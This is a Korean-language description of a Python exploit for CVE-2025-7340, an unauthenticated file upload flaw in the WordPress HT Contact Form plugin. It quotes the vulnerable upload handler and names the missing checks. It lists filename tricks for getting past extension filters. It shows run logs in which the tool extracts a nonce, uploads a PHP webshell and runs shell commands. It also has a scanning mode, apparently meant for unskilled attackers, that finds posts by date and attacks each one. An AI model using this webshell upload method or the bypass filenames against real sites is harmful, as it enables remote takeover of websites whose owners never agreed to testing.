
CVE-2025-7340에 대한 Python 익스플로잇: WordPress HT Contact Form 위젯 내 인증되지 않은 파일 업로드 취약점으로, 웹셸 배포를 통한 원격 코드 실행을 가능하게 합니다.
취약점 위치: ht-contactform/admin/Includes/Services/FileManager.php
핵심 함수: temp_file_upload()
temp_file_upload 함수#63행
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// 파일 검증
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// 파일 처리
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// 임시 디렉토리로 파일 이동
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
AJAX 처리파일 위치: ht-contactform/admin/Includes/Ajax.php:
#46-47행
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
문제: wp_ajax_nopriv_ 훅을 사용하여 인증되지 않은 사용자도 파일 업로드 기능에 접근할 수 있습니다.
문제 근본 원인 분석:
FileManager.php의 validate 함수에서 PHP 업로드 오류만 확인하고, 파일 형식, 확장자, MIME 유형을 전혀 검증하지 않습니다.Fields.php에서 허용된 파일을 정의하지만, 폼 렌더링 시 프론트엔드 검증(accept 속성)에만 사용되고 서버 측에서는 이 구성을 전혀 사용하지 않습니다.sanitize_file_name()은 주로 특수 문자를 처리하며 위험한 확장자를 차단하지 않으므로, 공격자는 .php, .php3, .phtml 등의 파일을 업로드할 수 있습니다.// Ajax.php 46-47행
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
문제 분석:
직접 공격: 공격자는 /wp-admin/admin-ajax.php에 POST 요청을 보내고 action을 ht_form_temp_file_upload로 설정
프론트엔드 검증 우회: 프론트엔드는 accept 속성으로 파일 형식을 제한하지만 공격자는 쉽게 우회 가능
파일 실행: 업로드된 PHP 파일이 웹 서버에 의해 실행되어 원격 코드 실행 가능
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
참고로, URL은 플러그인이 게시된 글에서만 작동하므로 스크립트 키드 기능 02를 추가했습니다.
01[단일 테스트] 예:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
시작 시도 중.......
대상 페이지 획득 중...
매개변수 추출 중...
추출된 Nonce: b05a39ff55
AJAX 엔드포인트: http://192.168.162.131:8081/wp-admin/admin-ajax.php
폼 ID: 6
웹셸 생성 중...
셸 업로드 중, 잠시만 기다리세요...
[+] 취약점 공격 성공!
Webshell 주소: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] 셸 대화형 모드 진입, 'exit' 입력 시 종료!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
대화형 모드 종료
02[루트 디렉터리 테스트] 예:
python RCE.py -r http://192.168.162.131:8081
[*] 날짜를 입력하세요 (기본값 20250804):
[*] 사용된 날짜: 20250804
[*] 날짜 스캔 중: 2025-08-04
[*] 스캔 주소: http://192.168.162.131:8081/2025/08/04/
[*] 게시글 발견 2: Test.0.1
[*] 게시글 발견 3: 8월 4, 2025
[*] 게시글 발견 6: 세계, 안녕하세요!
[*] 게시글 발견 7: 8월 4, 2025
[*] 취약점 공격 시작 중...
[*] 공격 중: http://192.168.162.131:8081/2025/08/04/test-0-1/
시작 시도 중.......
대상 페이지 획득 중...
매개변수 추출 중...
추출된 Nonce: b05a39ff55
AJAX 엔드포인트: http://192.168.162.131:8081/wp-admin/admin-ajax.php
폼 ID: 6
웹셸 생성 중...
셸 업로드 중, 잠시만 기다리세요...
[+] 취약점 공격 성공!
Webshell 주소: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] 셸 대화형 모드 진입, 'exit' 입력 시 종료!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
대화형 모드 종료